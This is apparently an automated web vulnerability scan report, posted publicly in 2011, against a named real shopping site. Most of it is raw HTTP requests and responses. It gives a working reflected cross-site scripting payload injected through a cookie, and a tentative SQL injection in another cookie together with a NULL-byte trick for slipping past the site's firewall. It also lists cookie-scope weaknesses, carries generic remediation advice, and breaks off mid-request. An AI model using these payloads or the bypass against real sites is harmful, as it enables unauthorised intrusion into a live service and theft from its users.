XSS, SQL Injection, CWE-79, CWE-89, CAPEC-86, CAPEC-66, www.groupon.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX Research Blog at Tue Mar 01 13:30:57 CST 2011.


The DORK Report

Loading

1. SQL injection

2. Cross-site scripting (reflected)

3. Cookie scoped to parent domain

3.1. http://www.groupon.com/

3.2. http://www.groupon.com/contact-us

3.3. http://www.groupon.com/san-jose/

3.4. http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1

3.5. http://www.groupon.com/user_demographics/demographic_form_banner.html

3.6. http://www.groupon.com/user_demographics/dismiss

3.7. http://www.groupon.com/user_demographics/update_with_optional_subscription

4. Cross-domain Referer leakage

5. Cross-domain script include

5.1. http://www.groupon.com/contact-us

5.2. http://www.groupon.com/san-jose/

5.3. http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1

6. Cookie without HttpOnly flag set

6.1. http://www.groupon.com/

6.2. http://www.groupon.com/contact-us

6.3. http://www.groupon.com/san-jose/

6.4. http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1

6.5. http://www.groupon.com/user_demographics/demographic_form_banner.html

6.6. http://www.groupon.com/user_demographics/dismiss

6.7. http://www.groupon.com/user_demographics/update_with_optional_subscription

7. Email addresses disclosed

8. Content type incorrectly stated



1. SQL injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.groupon.com
Path:   /user_demographics/demographic_form_banner.html

Issue detail

The _thepoint cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the _thepoint cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request 1

GET /user_demographics/demographic_form_banner.html?&_=1299007542683 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/
x-requested-with: XMLHttpRequest
content-type: application/x-www-form-urlencoded
accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874%00'; __utma=44473723.1103413385.1297805149.1298999612.1299007543.3; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.1.10.1299007543

Response 1

HTTP/1.1 500 Internal Server Error
Server: nginx/0.7.65
Content-Type: text/html
Content-Length: 30917
Age: 4
Date: Tue, 01 Mar 2011 19:26:30 GMT
Expires: Tue, 01 Mar 2011 19:26:36 GMT
Connection: keep-alive

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...

Request 2

GET /user_demographics/demographic_form_banner.html?&_=1299007542683 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/
x-requested-with: XMLHttpRequest
content-type: application/x-www-form-urlencoded
accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874%00''; __utma=44473723.1103413385.1297805149.1298999612.1299007543.3; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.1.10.1299007543

Response 2

HTTP/1.1 204 No Content
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 19:26:30 GMT
Content-Type: text/html
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 19:26:30 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Status: 204
X-Runtime: 22
Cache-Control: no-cache
Content-Length: 0
Connection: keep-alive


2. Cross-site scripting (reflected)  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /user_demographics/demographic_form_banner.html

Issue detail

The value of the subscriber_email cookie is copied into the HTML document as plain text between tags. The payload 16b2a<script>alert(1)</script>4eec7245226 was submitted in the subscriber_email cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /user_demographics/demographic_form_banner.html?addx=test@fastdial.net&_=1298999611622 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1?utm_medium=email&utm_source=newsletter&c=title&addx=test@fastdial.net&utm_content=san-jose_feed&user=test@fastdial.net&d=deal&divison=san-jose&s=more_deals_for_you&p=0&date=20110301
x-requested-with: XMLHttpRequest
content-type: application/x-www-form-urlencoded
accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net16b2a<script>alert(1)</script>4eec7245226; _tpaid=newsletter; adchemy_id=; _tpmed=email; division=san-jose; s=29108ae4-4427-11e0-ae71-005056952866; email=test%40fastdial.net; _thepoint=c34d720c801b2b00e49f006c1240e874; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.1.10.1298999612

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:29:41 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: subscriber_email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:29:41 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:29:41 GMT
Set-Cookie: email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:29:41 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:29:41 GMT; HttpOnly
Status: 200
ETag: "8ef21b84a48ea392c576af786a46e9f2"
X-Runtime: 44
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<div class='clearfix' id='above_main'>
<div class='demographic_banner clearfix' id='demographic_collection_form'>
<form action="/user_demographics/update_with_optional_subscription" class="new_u
...[SNIP]...
<div title='test@fastdial.net16b2a&lt;script&gt;alert(1)&lt;/script&gt;4eec7245226'>
test@fastdial.net16b2a<script>alert(1)</script>4eec7245226
</div>
...[SNIP]...

3. Cookie scoped to parent domain  previous  next
There are 7 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


3.1. http://www.groupon.com/  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.9.2.1298999613665; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; adchemy_id=; division=san-jose; email=test%40fastdial.net; _thepoint=c34d720c801b2b00e49f006c1240e874

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:27 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:27 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:27 GMT; HttpOnly
Status: 302
Location: http://www.groupon.com/san-jose/
X-Runtime: 14
Cache-Control: no-cache
Content-Length: 98
Connection: keep-alive

<html><body>You are being <a href="http://www.groupon.com/san-jose/">redirected</a>.</body></html>

3.2. http://www.groupon.com/contact-us  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /contact-us

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /contact-us HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.18.2.1299001244132; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:42 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:42 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:42 GMT; HttpOnly
Status: 200
ETag: "f4bef76d1e8d99bfb5a5cc7d791ac08d"
X-Runtime: 105
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...

3.3. http://www.groupon.com/san-jose/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /san-jose/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /san-jose/ HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.9.2.1298999613665; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:28 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:27 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:28 GMT; HttpOnly
Status: 200
ETag: "e2d7edd61244c8eac92a3b10778e00fc"
X-Runtime: 737
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...

3.4. http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /san-jose/deals/pure-barre-los-gatos-1

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /san-jose/deals/pure-barre-los-gatos-1?utm_medium=email&utm_source=newsletter&c=title&addx=test@fastdial.net&utm_content=san-jose_feed&user=test@fastdial.net&d=deal&divison=san-jose&s=more_deals_for_you&p=0&date=20110301 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; subscriber_email=test%40fastdial.net; division=san-jose; email=test%40fastdial.net; visited=true; __utmz=44473723.1297805174.1.4.utmcsr=newsletter|utmccn=laser-and-cosmetic-center|utmcmd=email; __utma=44473723.1103413385.1297805149.1297805149.1297805149.1; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:13:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: subscriber_email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:00 GMT
Set-Cookie: utm_term=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpmed=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_campaign=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: b=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: external_uid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpref=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpoid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpref2=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpuid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_source=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_content=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_medium=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpcid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpaid=newsletter; domain=.groupon.com; path=/; expires=Tue, 08-Mar-2011 17:13:00 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: _tpmed=email; domain=.groupon.com; path=/; expires=Tue, 08-Mar-2011 17:13:00 GMT
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:13:00 GMT
Set-Cookie: s=29108ae4-4427-11e0-ae71-005056952866; path=/
Set-Cookie: email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:00 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: email=test%40fastdial.net; path=/; expires=Fri, 01-Apr-2011 17:13:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:13:00 GMT; HttpOnly
Status: 200
ETag: "2c59701df41e4f9c877f397fdffda210"
X-S-COOKIE: 29108ae4-4427-11e0-ae71-005056952866
X-Runtime: 161
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...

3.5. http://www.groupon.com/user_demographics/demographic_form_banner.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /user_demographics/demographic_form_banner.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /user_demographics/demographic_form_banner.html?addx=test@fastdial.net&_=1298999611622 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1?utm_medium=email&utm_source=newsletter&c=title&addx=test@fastdial.net&utm_content=san-jose_feed&user=test@fastdial.net&d=deal&divison=san-jose&s=more_deals_for_you&p=0&date=20110301
x-requested-with: XMLHttpRequest
content-type: application/x-www-form-urlencoded
accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; _tpaid=newsletter; adchemy_id=; _tpmed=email; division=san-jose; s=29108ae4-4427-11e0-ae71-005056952866; email=test%40fastdial.net; _thepoint=c34d720c801b2b00e49f006c1240e874; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.1.10.1298999612

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:13:24 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: subscriber_email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:24 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:13:24 GMT
Set-Cookie: email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:24 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:13:24 GMT; HttpOnly
Status: 200
ETag: "7a503aa81cd310231b4f95be703b97d3"
X-Runtime: 38
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<div class='clearfix' id='above_main'>
<div class='demographic_banner clearfix' id='demographic_collection_form'>
<form action="/user_demographics/update_with_optional_subscription" class="new_u
...[SNIP]...

3.6. http://www.groupon.com/user_demographics/dismiss  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /user_demographics/dismiss

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /user_demographics/dismiss?id=31260610 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.19.2.1299001244132; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:48:47 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:48:47 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:48:47 GMT; HttpOnly
Status: 200
X-Runtime: 40
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 1
Connection: keep-alive


3.7. http://www.groupon.com/user_demographics/update_with_optional_subscription  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /user_demographics/update_with_optional_subscription

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /user_demographics/update_with_optional_subscription HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/user_demographics/demographic_form_banner.html?addx=test@fastdial.net&_=1298999611622
Cache-Control: max-age=0
Origin: http://www.groupon.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
